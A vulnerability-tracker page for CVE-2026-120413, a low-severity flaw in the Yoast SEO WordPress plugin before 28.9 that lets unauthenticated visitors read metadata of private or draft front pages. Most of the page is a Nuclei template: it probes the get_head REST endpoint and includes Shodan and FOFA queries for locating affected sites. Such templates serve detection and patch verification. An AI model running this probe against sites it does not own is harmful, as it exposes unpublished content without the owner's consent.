CVE-2026-120413: Yoast SEO < 28.9 - Unauthenticated Private Content Disclosure via Headless REST Head Endpoint

2026-11-29 PoC Public

Description

Yoast SEO < 28.9 contains an information disclosure caused by the headless REST get_head endpoint not checking whether the static front page is publicly viewable, letting unauthenticated attackers read the title, excerpt, timestamps and schema data of a private, draft or scheduled front page.

Details

CVE
CVE-2026-120413 · CVE.org
Severity
低危
Published
PoC
Public

PoC

id: CVE-2026-120413

info:
  name: Yoast SEO < 28.9 - Unauthenticated Private Content Disclosure via Headless REST Head Endpoint
  author: maulanawirawan
  severity: low
  description: |
    Yoast SEO < 28.9 contains an information disclosure caused by the headless REST get_head endpoint not checking whether the static front page is publicly viewable, letting unauthenticated attackers read the title, excerpt, timestamps and schema data of a private, draft or scheduled front page.
  impact: |
    Unauthenticated attackers can read metadata and content previews of an unpublished front page.
  remediation: |
    Update to version 28.9 or later.
  reference:
    - https://wpscan.com/vulnerability/9fa2d095-5659-4af8-9815-aa6ba94377c8/
    - https://github.com/advisories/GHSA-m453-87p4-7j5c
    - https://nvd.nist.gov/vuln/detail/CVE-2026-120413
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 3.7
    cve-id: CVE-2026-120413
    epss-score: 0.00414
    epss-percentile: 0.27427
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 2
    vendor: yoast
    product: wordpress-seo
    framework: wordpress
    shodan-query: http.html:"This site is optimized with the Yoast SEO plugin"
    fofa-query: body="This site is optimized with the Yoast SEO plugin"
  tags: cve,cve2026,wordpress,wp-plugin,wp,yoast,disclosure,unauth

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(header, "wp-json")'
          - 'contains(body, "Page not found")'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-json/yoast/v1/get_head?url={{RootURL}}/"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "Yoast SEO plugin", "\"status\":200", "og_title")'
          - '!contains(body, "Page not found")'
        condition: and
# digest: 4b0a00483046022100a2e947e05092d2279d101c4efa1783b58d7479f7ad23e237909cc7c5c91cd25a022100c4282e4bb7f08e900b86a043af29d2663583a792b9af4069737a179709af02e7:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life